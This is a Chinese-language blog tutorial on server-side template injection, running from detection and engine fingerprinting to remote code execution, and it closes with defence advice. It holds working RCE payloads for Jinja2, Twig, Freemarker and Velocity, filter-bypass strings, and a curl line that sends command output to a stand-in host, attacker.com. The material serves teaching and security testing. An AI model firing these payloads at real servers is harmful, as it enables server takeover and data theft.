SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

服务端模板注入(Server-Side Template Injection,SSTI)是近年来在 Web 安全领域备受关注的高危漏洞类型。当用户输入被直接拼接到模板引擎中并被服务端渲染时,攻击者便可能通过注入模板语法来执行任意代码,最终实现远程命令执行(RCE)。本文将从探测、识别、利用到 RCE 的完整流程进行系统讲解。

一、SSTI 漏洞原理

模板引擎(如 Jinja2、Twig、Freemarker、Velocity、Smarty 等)的设计初衷是将动态数据嵌入到静态模板中。正常用法是:

render_template_string("Hello {{ name }}", name=user_input)

此时 user_input 仅作为数据传入,不会被当作模板解析。但若开发者写成:

render_template_string("Hello " + user_input)

用户输入就被拼接进模板字符串本身,模板引擎会将其中的 {{ }}{% %} 等语法当作代码执行,漏洞由此产生。

二、探测:判断是否存在 SSTI

1. 数学表达式探测

最经典的方法是提交模板语法中的数学运算,观察是否被求值:

  • 输入 {{7*7}},若回显 49,则可能存在 Jinja2/Twig 类 SSTI。
  • 输入 ${7*7},若回显 49,则可能是 Freemarker 或 Velocity。
  • 输入 <%= 7*7 %>,若回显 49,则可能是 ERB(Ruby)。
  • 输入 #{7*7},若回显 49,则可能是 Ruby 的 Slim 或 Thymeleaf。

2. 特殊字符混淆测试

为绕过简单过滤,可尝试:

{{7*'7'}}   → Jinja2 返回 '7777777',Twig 返回 '49'
{{7*7}}     → 两者均返回 49

这一差异可用于区分 Jinja2 与 Twig。

3. 上下文定位

SSTI 可能出现在 URL 参数、POST 表单、HTTP 头(如 User-Agent、Referer)、Cookie、文件名等位置。测试时需覆盖所有用户可控入口。

三、指纹识别:确定模板引擎

确定引擎类型是后续利用的关键。常用 Payload 对照表:

Payload Jinja2 Twig Freemarker Velocity
{{7*7}} 49 49 报错 原样输出
{{7*'7'}} 7777777 49 报错 原样输出
${7*7} 原样 原样 49 49
<%= 7*7 %> 原样 原样 原样 原样

此外,还可通过报错信息、{{config}}(Flask)、{{self}}(Jinja2)等方式进一步确认。

四、利用链:从信息泄露到 RCE

1. Jinja2(Python/Flask)

Jinja2 是 CTF 与实战中最常见的 SSTI 目标。核心思路是通过 Python 对象继承链找到 ossubprocess 模块。

读取配置:

{{ config }}
{{ config.items() }}

获取基类:

{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__base__ }}

寻找可利用子类:

{{ ''.__class__.__mro__[1].__subclasses__() }}

在返回列表中定位 subprocess.Popenos._wrap_closewarnings.catch_warnings 等类。例如找到 subprocess.Popen 的索引后:

{{ ''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate() }}

通过 os 模块执行命令:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('whoami').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

无回显时使用外带:

{{ ''.__class__.__mro__[1].__subclasses__()[X]('curl http://attacker.com/`id`', shell=True) }}

2. Twig(PHP)

Twig 的利用通常依赖 _self 与过滤器链:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig 1.x 与 2.x/3.x 的利用方式差异较大,2.x 以上版本需借助 filtermap 等函数构造调用链:

{{['id']|filter('system')}}
{{['id',0]|sort('system')|join}}

3. Freemarker(Java)

Freemarker 的经典 RCE Payload:

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

或使用 ObjectConstructor

${"freemarker.template.utility.Execute"?new()("id")}

若目标为 Spring Boot + Freemarker,还可结合 springMacroRequestContext 读取文件。

4. Velocity(Java)

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

五、绕过 WAF 与过滤

实战中常遇到关键字过滤,常用绕过技巧包括:

  • 字符串拼接{{ 'os'['po'+'pen']('id') }}
  • 属性访问替代{{ ''['__class__'] }} 代替 {{ ''.__class__ }}
  • 编码绕过:URL 编码、Unicode 编码、十六进制编码
  • 使用 attr 过滤器{{ ''|attr('__class__') }}
  • 使用 request 对象{{ request['__class__'] }}
  • 换行与注释{{ ''.__class__ # comment }}

六、防御建议

  1. 避免拼接:永远不要将用户输入直接拼接到模板字符串,使用 render_template 传参方式。
  2. 沙箱环境:使用 Jinja2 的 SandboxedEnvironment 限制危险属性访问。
  3. 输入验证:对模板相关特殊字符({{}}{%%}${)进行严格过滤。
  4. 最小权限:Web 应用运行账户不应具备系统命令执行权限。
  5. WAF 与 RASP:部署具备 SSTI 检测能力的防护设备。

七、总结

SSTI 的完整利用流程可归纳为:探测 → 指纹识别 → 信息泄露 → 构造利用链 → RCE。其危害等级通常为高危甚至严重,一旦被利用可直接获取服务器权限。对于安全从业者而言,掌握各主流模板引擎的 Payload 与绕过技巧是必备技能;对于开发者而言,理解漏洞成因并遵循安全编码规范,才是根治之道。

未经允许不得转载:任鹏个人博客 » SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏